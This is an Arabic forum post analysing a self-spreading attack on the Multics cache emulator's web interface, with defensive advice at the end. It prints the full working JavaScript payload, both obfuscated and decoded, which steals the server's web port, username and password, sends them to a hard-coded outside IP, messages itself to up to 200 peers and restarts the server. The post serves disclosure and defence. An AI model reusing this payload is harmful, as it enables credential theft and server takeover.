السلام عليكم ..
كيف الحال اخواني ..
قبل عدة ايام لقد كتبت شخصيا في احدى المنتديات تحليل كامل عن ثغرة خطيرة في الايميو Multics الاصدارات الحديثة تؤدي لاختراق السيرفر كاملا ..
ومحتوى المقالة الخاصة بي :
تم الاكتشاف مؤخرا وجود ثغرة في اصدارات الملتي التي يوجد بها رسائل للكاش ..
وبعد قراءة العديد من الافكار والاراء حول الموضوع في عدة منتديات وخصوصا في هذا المنتدى .. وجدت انه لا يمكن البقاء على التخمين فقط ..
لذلك .. تم العمل على الموضوع لمعرفة ما اذا كانت هي ثغرة فعلا وما هي وظيفتها ..
وتوصلت لنتائجي الشخصية وهي بعد البحث في المسج :
شرح بسيط عن الثغرة :
هي عبارة عن استغلال برمجي في Multics لسحب بيانات السيرفر عن طريق كود Java يتم تفعيله بالمتصفح لصاحب السيرفر .. مما يؤدي الى سرقة بيانات صاحب السيرفر وارسالها للمخترق ..
وهي ثغرة تعتبر ثغرة متصفح .. والكود البرمجي لها تم عمله بواسطة شخص محترف في مجال الملتي وهو شخص عنده الكود المصدري ( السورس كود ) على الاغلب وبيعرف تماما شو بعيمل ..
تم الوصول للكود الخاص بالثغرة عن طريق المسجات التي تصل الى الكاش .. بعد فتح المسج وعن طريق كود الصفحة View Source أو Inspect Element سوف تلاحظ وجود كود ثغرة الذي يعمل فورا عند فتح الرسالة :
كود:
Cache OK!</textarea><script src = " http:// 178.33.49.103/ script.js"></script>
سوف تلاحظ وجود الاي بي الذي تم ذكره مسبقا .. وهو اي بي من شركة OVH وهذا دليل على ان الثغرة عبارة عن بعد Remote Exploit.
وبعد تحميل الملف script.js .. سوف تجد كود الثغرة كاملا .. ولكن جزء منه تم تشفيره .. ومن الاجزاء التي تم تشفيرها هي محتوى الرسالة اي بمعنى ان المشفر ليس مهم بالدرجة التي هي فيها الكود المفتوح ..
وهذا هو محتوى الملف :
كود:
var _0x1781 = ["\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5A\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6A\x6B\x6C\x6D\x6E\x6F\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7A\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2B\x2F\x3D", "", "\x63\x68\x61\x72\x43\x6F\x64\x65\x41\x74", "\x63\x68\x61\x72\x41\x74", "\x5F\x6B\x65\x79\x53\x74\x72", "\x6C\x65\x6E\x67\x74\x68", "\x72\x65\x70\x6C\x61\x63\x65", "\x69\x6E\x64\x65\x78\x4F\x66", "\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65", "\x0A", "\x58\x4D\x4C\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74", "\x4D\x69\x63\x72\x6F\x73\x6F\x66\x74\x2E\x58\x4D\x4C\x48\x54\x54\x50", "\x50\x4F\x53\x54", "\x2F\x63\x61\x63\x68\x65\x70\x65\x65\x72\x3F\x61\x63\x74\x69\x6F\x6E\x3D\x73\x6D\x73\x26\x69\x64\x3D", "\x6F\x70\x65\x6E", "\x73\x65\x6E\x64", "\x2F\x72\x65\x73\x74\x61\x72\x74", "\x47\x45\x54", "\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65", "\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65", "\x73\x74\x61\x74\x75\x73", "\x72\x65\x73\x70\x6F\x6E\x73\x65\x54\x65\x78\x74", "\x6D\x61\x74\x63\x68", "\x68\x6F\x73\x74", "\x49\x50\x3A\x20", "\x2C", "\x65\x6E\x63\x6F\x64\x65", "\x68\x74\x74\x70\x3A\x2F\x2F\x31\x37\x38\x2E\x33\x33\x2E\x34\x39\x2E\x31\x30\x33\x2F\x67\x72\x61\x62\x2E\x70\x68\x70\x3F\x63\x3D", "\x43\x61\x63\x68\x65\x20\x4F\x4B\x21\x3C\x2F\x74\x65\x78\x74\x61\x72\x65\x61\x3E\x3C\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x31\x37\x38\x2E\x33\x33\x2E\x34\x39\x2E\x31\x30\x33\x2F\x73\x63\x72\x69\x70\x74\x2E\x6A\x73\x22\x3E\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E", "\x65\x64\x69\x74\x6F\x72"];
var Base64 = {
_keyStr: _0x1781[0],
encode: function(_0x8729x2) {
var _0x8729x3 = _0x1781[1];
var _0x8729x4, _0x8729x5, _0x8729x6, _0x8729x7, _0x8729x8, _0x8729x9, _0x8729xa;
var _0x8729xb = 0;
_0x8729x2 = Base64._utf8_encode(_0x8729x2);
while (_0x8729xb < _0x8729x2[_0x1781[5]]) {
_0x8729x4 = _0x8729x2[_0x1781[2]](_0x8729xb++);
_0x8729x5 = _0x8729x2[_0x1781[2]](_0x8729xb++);
_0x8729x6 = _0x8729x2[_0x1781[2]](_0x8729xb++);
_0x8729x7 = _0x8729x4 >> 2;
_0x8729x8 = (_0x8729x4 & 3) << 4 | _0x8729x5 >> 4;
_0x8729x9 = (_0x8729x5 & 15) << 2 | _0x8729x6 >> 6;
_0x8729xa = _0x8729x6 & 63;
if (isNaN(_0x8729x5)) {
_0x8729x9 = _0x8729xa = 64
} else {
if (isNaN(_0x8729x6)) {
_0x8729xa = 64
}
};
_0x8729x3 = _0x8729x3 + this[_0x1781[4]][_0x1781[3]](_0x8729x7) + this[_0x1781[4]][_0x1781[3]](_0x8729x8) + this[_0x1781[4]][_0x1781[3]](_0x8729x9) + this[_0x1781[4]][_0x1781[3]](_0x8729xa);
};
return _0x8729x3;
},
decode: function(_0x8729x2) {
var _0x8729x3 = _0x1781[1];
var _0x8729x4, _0x8729x5, _0x8729x6;
var _0x8729x7, _0x8729x8, _0x8729x9, _0x8729xa;
var _0x8729xb = 0;
_0x8729x2 = _0x8729x2[_0x1781[6]](/[^A-Za-z0-9\+\/\=]/g, _0x1781[1]);
while (_0x8729xb < _0x8729x2[_0x1781[5]]) {
_0x8729x7 = this[_0x1781[4]][_0x1781[7]](_0x8729x2[_0x1781[3]](_0x8729xb++));
_0x8729x8 = this[_0x1781[4]][_0x1781[7]](_0x8729x2[_0x1781[3]](_0x8729xb++));
_0x8729x9 = this[_0x1781[4]][_0x1781[7]](_0x8729x2[_0x1781[3]](_0x8729xb++));
_0x8729xa = this[_0x1781[4]][_0x1781[7]](_0x8729x2[_0x1781[3]](_0x8729xb++));
_0x8729x4 = _0x8729x7 << 2 | _0x8729x8 >> 4;
_0x8729x5 = (_0x8729x8 & 15) << 4 | _0x8729x9 >> 2;
_0x8729x6 = (_0x8729x9 & 3) << 6 | _0x8729xa;
_0x8729x3 = _0x8729x3 + String[_0x1781[8]](_0x8729x4);
if (_0x8729x9 != 64) {
_0x8729x3 = _0x8729x3 + String[_0x1781[8]](_0x8729x5)
};
if (_0x8729xa != 64) {
_0x8729x3 = _0x8729x3 + String[_0x1781[8]](_0x8729x6)
};
};
_0x8729x3 = Base64._utf8_decode(_0x8729x3);
return _0x8729x3;
},
_utf8_encode: function(_0x8729x2) {
_0x8729x2 = _0x8729x2[_0x1781[6]](/\r\n/g, _0x1781[9]);
var _0x8729x3 = _0x1781[1];
for (var _0x8729x4 = 0; _0x8729x4 < _0x8729x2[_0x1781[5]]; _0x8729x4++) {
var _0x8729x5 = _0x8729x2[_0x1781[2]](_0x8729x4);
if (_0x8729x5 < 128) {
_0x8729x3 += String[_0x1781[8]](_0x8729x5)
} else {
if (_0x8729x5 > 127 && _0x8729x5 < 2048) {
_0x8729x3 += String[_0x1781[8]](_0x8729x5 >> 6 | 192);
_0x8729x3 += String[_0x1781[8]](_0x8729x5 & 63 | 128);
} else {
_0x8729x3 += String[_0x1781[8]](_0x8729x5 >> 12 | 224);
_0x8729x3 += String[_0x1781[8]](_0x8729x5 >> 6 & 63 | 128);
_0x8729x3 += String[_0x1781[8]](_0x8729x5 & 63 | 128);
}
};
};
return _0x8729x3;
},
_utf8_decode: function(_0x8729x2) {
var _0x8729x3 = _0x1781[1];
var _0x8729x4 = 0;
var _0x8729x5 = c1 = c2 = 0;
while (_0x8729x4 < _0x8729x2[_0x1781[5]]) {
_0x8729x5 = _0x8729x2[_0x1781[2]](_0x8729x4);
if (_0x8729x5 < 128) {
_0x8729x3 += String[_0x1781[8]](_0x8729x5);
_0x8729x4++;
} else {
if (_0x8729x5 > 191 && _0x8729x5 < 224) {
c2 = _0x8729x2[_0x1781[2]](_0x8729x4 + 1);
_0x8729x3 += String[_0x1781[8]]((_0x8729x5 & 31) << 6 | c2 & 63);
_0x8729x4 += 2;
} else {
c2 = _0x8729x2[_0x1781[2]](_0x8729x4 + 1);
c3 = _0x8729x2[_0x1781[2]](_0x8729x4 + 2);
_0x8729x3 += String[_0x1781[8]]((_0x8729x5 & 15) << 12 | (c2 & 63) << 6 | c3 & 63);
_0x8729x4 += 3;
}
};
};
return _0x8729x3;
}
};
function sendSMS(_0x8729xd, _0x8729xe) {
var _0x8729xf;
if (window[_0x1781[10]]) {
_0x8729xf = new XMLHttpRequest()
} else {
_0x8729xf = new ActiveXObject(_0x1781[11])
};
_0x8729xf[_0x1781[14]](_0x1781[12], _0x1781[13] + _0x8729xd, true);
_0x8729xf[_0x1781[15]](_0x8729xe);
}
function restart() {
var _0x8729x11;
if (window[_0x1781[10]]) {
_0x8729x11 = new XMLHttpRequest()
} else {
_0x8729x11 = new ActiveXObject(_0x1781[11])
};
_0x8729x11[_0x1781[14]](_0x1781[12], _0x1781[16], true);
_0x8729x11[_0x1781[15]]();
}
function readTextFile(_0x8729x13) {
var _0x8729x14 = new XMLHttpRequest();
_0x8729x14[_0x1781[14]](_0x1781[17], _0x8729x13, false);
_0x8729x14[_0x1781[18]] = function() {
if (_0x8729x14[_0x1781[19]] === 4) {
if (_0x8729x14[_0x1781[20]] === 200 || _0x8729x14[_0x1781[20]] == 0) {
var _0x8729x15 = _0x8729x14[_0x1781[21]];
var _0x8729x16 = /(HTTP PORT:.*)/i;
var _0x8729x17 = _0x8729x15[_0x1781[22]](_0x8729x16);
var _0x8729x18 = /(HTTP USER:.*)/i;
var _0x8729x19 = _0x8729x15[_0x1781[22]](_0x8729x18);
var _0x8729x1a = /(HTTP PASS:.*)/i;
var _0x8729x1b = _0x8729x15[_0x1781[22]](_0x8729x1a);
var _0x8729x1c = location[_0x1781[23]];
var _0x8729x1d = _0x1781[24] + _0x8729x1c + _0x1781[25] + _0x8729x19 + _0x8729x1b + _0x8729x17;
loadXMLDoc(Base64[_0x1781[26]](_0x8729x1d));
}
}
};
_0x8729x14[_0x1781[15]](null);
}
function loadXMLDoc(_0x8729x1f) {
var _0x8729x20;
if (window[_0x1781[10]]) {
_0x8729x20 = new XMLHttpRequest()
} else {
_0x8729x20 = new ActiveXObject(_0x1781[11])
};
_0x8729x20[_0x1781[14]](_0x1781[12], _0x1781[27] + _0x8729x1f, true);
_0x8729x20[_0x1781[15]]();
}
function sendsmsdiv() {
for (i = 1; i <= 200; i++) {
sendSMS(i, _0x1781[28])
}
}
readTextFile(_0x1781[29]);
sendsmsdiv();
setTimeout(function() {
restart()
}, 1000);
كما تلاحظون داخل الملف وظيفته الرئيسية هي سرقة بيانات السيرفر من بورت الويب وباسورد ويوزرنيم .. ويقوم على عمل ريستارت للملتي تلقائيا .. وبعد عمل ريستارت يعمل على ارسال هذه الرسالة الى جميع الكاشات المضافة اليك .. وهكذا يستمر بالانتشار ..
والجزء واضح في الكود عن طريق :
كود:
var _0x8729x16=/(HTTP PORT:.*)/i;var _0x8729x17=_0x8729x15[_0x1781[22]](_0x8729x16);var _0x8729x18=/(HTTP USER:.*)/i;var _0x8729x19=_0x8729x15[_0x1781[22]](_0x8729x18);var _0x8729x1a=/(HTTP PASS:.*)/i
وبما ان جزء من الكود مشفر وتم العمل على فك تشفيره .. فإن مبدأ عمل الثغرة تقريبا اصبح مكشوف ..
وعملية حظر الاي بي المذكور 178.33.49.103 لن تاتي بنتيجة ولن تعمل على حل المشكلة لان الاتصال المباشر لن يكون عن طريق السيرفر .. وانما جهازك وسيرفر المخترق هو الاتصال المباشر ويتم سحب البيانات عن طريق المتصفح لانه يدعم الجافا ..
وبما ان الرسائل الخاصة بالكاش في الملتي يتم نزولها في مجلد /tmp مع العلم المقصود تنظيف المجلد الموجود بالمسارات هذه :
/tmp
/var/tmp
.. فهذا يعني وجود الملفات الخاصة بالرسائل في داخل المجلد ويجب تنظيفه .
وهذا مثال للملف الذي تم انشائه للرسائل الخاصة باحد سيرفراتي :
وبعد التحري وجد ايضا وجود رسالة تهديد عند تصفح الاي المذكور :
وهذا يؤكد وجود عملية اختراق للسيرفر ..
وبعد تحري سورس الصفحة في الاي بي تجد مكتوب ايضا :
لاحظ وجود الجملة التالية في الصفحة:
Your IP is: 46.185.****** and has been log :P
وهذا يعني انه تم حفظ الاي بي الخاص بي عند دخول الصفحة .. وهذه فقط للتنبيه لانه واضع كود PHP بالصفحة وكان بامكانه يعمل كود Java برضه . .لكن الجافا ثغرات المتصفح اغلبها مغلقة لذلك تم استغلال الملتي ..
وفي حين ان مبرمج الـ Multics اصله تقريبا ( فرنسي او عربي ) فهذا يعني ان لغته الرئيسية هي ليست الانجليزية .. وهذا يفسر ضعف العبارة الموجودة في السورس بدلا من كلمة Logged وضع كلمة Log ..
وهذا ايضا يفسر احدى شكوكي التي اشك بها ان المبرمج نفسه هو من برمج هذه الثغرة وخصوصا ان السورس كود الخاص بالايميو لم يتم نشره .. فكيف لاحد ان يبرمج ثغرة بهذه الاحترافية بدون علم كامل بالسورس كود ..
وبعد فك تشفير الثغرة من طرفي .. وجدت ان الجزء الاول كان :
كود:
var _0x1781 = ["ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=", "", "charCodeAt", "charAt", "_keyStr", "length", "replace", "indexOf", "fromCharCode", "
", "XMLHttpRequest", "Microsoft.XMLHTTP", "POST", "/cachepeer?action=sms&id=", "open", "send", "/restart", "GET", "onreadystatechange", "readyState", "status", "responseText", "match", "host", "IP: ", ",", "encode", "http://178.33.49.103/grab.php?c=", "Cache OK!</textarea><script src="http://178.33.49.103/script.js"></script>", "editor"];
اما الجزء الثاني من الثغرة بعد فك التشفير :
كود:
var _0x1781 = ["ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=", "", "charCodeAt", "charAt", "_keyStr", "length", "replace", "indexOf", "fromCharCode", "
", "XMLHttpRequest", "Microsoft.XMLHTTP", "POST", "/cachepeer?action=sms&id=", "open", "send", "/restart", "GET", "onreadystatechange", "readyState", "status", "responseText", "match", "host", "IP: ", ",", "encode", "http://178.33.49.103/grab.php?c=", "Cache OK!</textarea><script src="http://178.33.49.103/script.js"></script>", "editor"];var Base64 = { _keyStr: _0x1781[0], encode: function(_0x8729x2) { var _0x8729x3 = _0x1781[1]; var _0x8729x4, _0x8729x5, _0x8729x6, _0x8729x7, _0x8729x8, _0x8729x9, _0x8729xa; var _0x8729xb = 0; _0x8729x2 = Base64._utf8_encode(_0x8729x2); while (_0x8729xb < _0x8729x2[_0x1781[5]]) { _0x8729x4 = _0x8729x2[_0x1781[2]](_0x8729xb++); _0x8729x5 = _0x8729x2[_0x1781[2]](_0x8729xb++); _0x8729x6 = _0x8729x2[_0x1781[2]](_0x8729xb++); _0x8729x7 = _0x8729x4 >> 2; _0x8729x8 = (_0x8729x4 & 3) << 4 | _0x8729x5 >> 4; _0x8729x9 = (_0x8729x5 & 15) << 2 | _0x8729x6 >> 6; _0x8729xa = _0x8729x6 & 63; if (isNaN(_0x8729x5)) { _0x8729x9 = _0x8729xa = 64 } else { if (isNaN(_0x8729x6)) { _0x8729xa = 64 } }; _0x8729x3 = _0x8729x3 + this[_0x1781[4]][_0x1781[3]](_0x8729x7) + this[_0x1781[4]][_0x1781[3]](_0x8729x8) + this[_0x1781[4]][_0x1781[3]](_0x8729x9) + this[_0x1781[4]][_0x1781[3]](_0x8729xa); }; return _0x8729x3; }, decode: function(_0x8729x2) { var _0x8729x3 = _0x1781[1]; var _0x8729x4, _0x8729x5, _0x8729x6; var _0x8729x7, _0x8729x8, _0x8729x9, _0x8729xa; var _0x8729xb = 0; _0x8729x2 = _0x8729x2[_0x1781[6]](/[^A-Za-z0-9\+\/\=]/g, _0x1781[1]); while (_0x8729xb < _0x8729x2[_0x1781[5]]) { _0x8729x7 = this[_0x1781[4]][_0x1781[7]](_0x8729x2[_0x1781[3]](_0x8729xb++)); _0x8729x8 = this[_0x1781[4]][_0x1781[7]](_0x8729x2[_0x1781[3]](_0x8729xb++)); _0x8729x9 = this[_0x1781[4]][_0x1781[7]](_0x8729x2[_0x1781[3]](_0x8729xb++)); _0x8729xa = this[_0x1781[4]][_0x1781[7]](_0x8729x2[_0x1781[3]](_0x8729xb++)); _0x8729x4 = _0x8729x7 << 2 | _0x8729x8 >> 4; _0x8729x5 = (_0x8729x8 & 15) << 4 | _0x8729x9 >> 2; _0x8729x6 = (_0x8729x9 & 3) << 6 | _0x8729xa; _0x8729x3 = _0x8729x3 + String[_0x1781[8]](_0x8729x4); if (_0x8729x9 != 64) { _0x8729x3 = _0x8729x3 + String[_0x1781[8]](_0x8729x5) }; if (_0x8729xa != 64) { _0x8729x3 = _0x8729x3 + String[_0x1781[8]](_0x8729x6) }; }; _0x8729x3 = Base64._utf8_decode(_0x8729x3); return _0x8729x3; }, _utf8_encode: function(_0x8729x2) { _0x8729x2 = _0x8729x2[_0x1781[6]](/\r\n/g, _0x1781[9]); var _0x8729x3 = _0x1781[1]; for (var _0x8729x4 = 0; _0x8729x4 < _0x8729x2[_0x1781[5]]; _0x8729x4++) { var _0x8729x5 = _0x8729x2[_0x1781[2]](_0x8729x4); if (_0x8729x5 < 128) { _0x8729x3 += String[_0x1781[8]](_0x8729x5) } else { if (_0x8729x5 > 127 && _0x8729x5 < 2048) { _0x8729x3 += String[_0x1781[8]](_0x8729x5 >> 6 | 192); _0x8729x3 += String[_0x1781[8]](_0x8729x5 & 63 | 128); } else { _0x8729x3 += String[_0x1781[8]](_0x8729x5 >> 12 | 224); _0x8729x3 += String[_0x1781[8]](_0x8729x5 >> 6 & 63 | 128); _0x8729x3 += String[_0x1781[8]](_0x8729x5 & 63 | 128); } }; }; return _0x8729x3; }, _utf8_decode: function(_0x8729x2) { var _0x8729x3 = _0x1781[1]; var _0x8729x4 = 0; var _0x8729x5 = c1 = c2 = 0; while (_0x8729x4 < _0x8729x2[_0x1781[5]]) { _0x8729x5 = _0x8729x2[_0x1781[2]](_0x8729x4); if (_0x8729x5 < 128) { _0x8729x3 += String[_0x1781[8]](_0x8729x5); _0x8729x4++; } else { if (_0x8729x5 > 191 && _0x8729x5 < 224) { c2 = _0x8729x2[_0x1781[2]](_0x8729x4 + 1); _0x8729x3 += String[_0x1781[8]]((_0x8729x5 & 31) << 6 | c2 & 63); _0x8729x4 += 2; } else { c2 = _0x8729x2[_0x1781[2]](_0x8729x4 + 1); c3 = _0x8729x2[_0x1781[2]](_0x8729x4 + 2); _0x8729x3 += String[_0x1781[8]]((_0x8729x5 & 15) << 12 | (c2 & 63) << 6 | c3 & 63); _0x8729x4 += 3; } }; }; return _0x8729x3; }};function sendSMS(_0x8729xd, _0x8729xe) { var _0x8729xf; if (window[_0x1781[10]]) { _0x8729xf = new XMLHttpRequest() } else { _0x8729xf = new ActiveXObject(_0x1781[11]) }; _0x8729xf[_0x1781[14]](_0x1781[12], _0x1781[13] + _0x8729xd, true); _0x8729xf[_0x1781[15]](_0x8729xe);}function restart() { var _0x8729x11; if (window[_0x1781[10]]) { _0x8729x11 = new XMLHttpRequest() } else { _0x8729x11 = new ActiveXObject(_0x1781[11]) }; _0x8729x11[_0x1781[14]](_0x1781[12], _0x1781[16], true); _0x8729x11[_0x1781[15]]();}function readTextFile(_0x8729x13) { var _0x8729x14 = new XMLHttpRequest(); _0x8729x14[_0x1781[14]](_0x1781[17], _0x8729x13, false); _0x8729x14[_0x1781[18]] = function() { if (_0x8729x14[_0x1781[19]] === 4) { if (_0x8729x14[_0x1781[20]] === 200 || _0x8729x14[_0x1781[20]] == 0) { var _0x8729x15 = _0x8729x14[_0x1781[21]]; var _0x8729x16 = /(HTTP PORT:.*)/i; var _0x8729x17 = _0x8729x15[_0x1781[22]](_0x8729x16); var _0x8729x18 = /(HTTP USER:.*)/i; var _0x8729x19 = _0x8729x15[_0x1781[22]](_0x8729x18); var _0x8729x1a = /(HTTP PASS:.*)/i; var _0x8729x1b = _0x8729x15[_0x1781[22]](_0x8729x1a); var _0x8729x1c = location[_0x1781[23]]; var _0x8729x1d = _0x1781[24] + _0x8729x1c + _0x1781[25] + _0x8729x19 + _0x8729x1b + _0x8729x17; loadXMLDoc(Base64[_0x1781[26]](_0x8729x1d)); } } }; _0x8729x14[_0x1781[15]](null);}function loadXMLDoc(_0x8729x1f) { var _0x8729x20; if (window[_0x1781[10]]) { _0x8729x20 = new XMLHttpRequest() } else { _0x8729x20 = new ActiveXObject(_0x1781[11]) }; _0x8729x20[_0x1781[14]](_0x1781[12], _0x1781[27] + _0x8729x1f, true); _0x8729x20[_0x1781[15]]();}function sendsmsdiv() { for (i = 1; i <= 200; i++) { sendSMS(i, _0x1781[28]) }}readTextFile(_0x1781[29]);sendsmsdiv();setTimeout(function() { restart()}, 1000);
وهذا يفتح امامي وامام الجميع معرفة مميزات الثغرة وطريقة عملها .. ولو ان السورس كود موجود معي لكنت قد عالجت الثغرة ونشرت الايميو المعدل .. ولكن للاسف ..
الطرق المضمونة للحفاظ على سيرفرك :
1- تنظيف مجلد /tmp كاملا .. والافضل حذفه او تغيير اسمه حتى لا يوصلك رسائل اخرى ..
2- تغيير باسورد الـ Web Interface للملتي واليوزر نيم والبورت ..
3- تاكد من عدم وجود اي يوزر بصلاحية معينة في سيرفرك.
4- قم بعمل ايقاف للويب ملتي مؤقتا : HTTP EDITOR: OFF وايقاف الريستارت HTTP RESTART: OFF .
5- لا تفتح اي رسالة تصلك على الكاش والافضل تغيير باسورد الروت ( مع انها غير مستهدفة ولا يمكن سحبها عن طريق الجافا بالمتصفح ).
هذا الموضوع حصري ومن كتابتي .. وانا من كتبه في عدة منتديات .. لذلك يرجى اقتباس الحقوق عند النقل ..
ساوافيكم بكل جديد حول الموضوع
تحياتي للجميع ..
اخوكم رائد سعادة ..
المفضلات